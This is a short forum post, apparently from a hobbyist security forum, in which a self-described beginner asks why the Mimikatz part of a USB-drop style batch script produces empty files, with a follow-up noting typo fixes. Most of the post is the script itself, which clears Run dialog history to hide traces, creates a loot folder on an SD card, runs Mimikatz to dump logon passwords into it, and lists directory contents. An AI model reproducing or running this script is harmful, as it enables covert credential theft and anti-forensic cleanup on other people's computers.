TWG

Works now... If you can delete this post I would appreciate it. If only I could spell privilege and STRING %dst%\x32\mimikatz.exe > %dst%\32.txt should be %~d0%\x64\mimikatz.exe priviege::debug sekurlsa::logonPasswords > %dst%\64.txt Just staring at the screen too long I guess

Can anyone tell me why the Mimikatz portion of this script is not running? It does create the text files however they are empty. Ima newb as if you didn't know.... Thanks in advance.. @echo off REM Delete registry keys storing Run dialog history REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f REM Creates directory compromised of computer name, date and time REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious set dst=%~d0\slurp\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-10,1%%time:~-8,2%%time:~-5,2% mkdir %dst% REM Run mimikatz 64bit from SD card and save log file to SD STRING %dst%\x64\mimikatz.exe > %dst%\64.txt ENTER DELAY 1000 STRING priviege::debug ENTER DELAY 1000 STRING sekurlsa::logonPasswords full ENTER REM Run mimikatz 32bit from SD card and save log file to SD STRING %dst%\x32\mimikatz.exe > %dst%\32.txt ENTER DELAY 1000 STRING priviege::debug ENTER STRING sekurlsa::logonPasswords full ENTER DIR C:\*.* > %dst%\dir.txt DIR %USERPROFILE%\Documents\*.* /S >> %dst%\dir.txt @cls @exit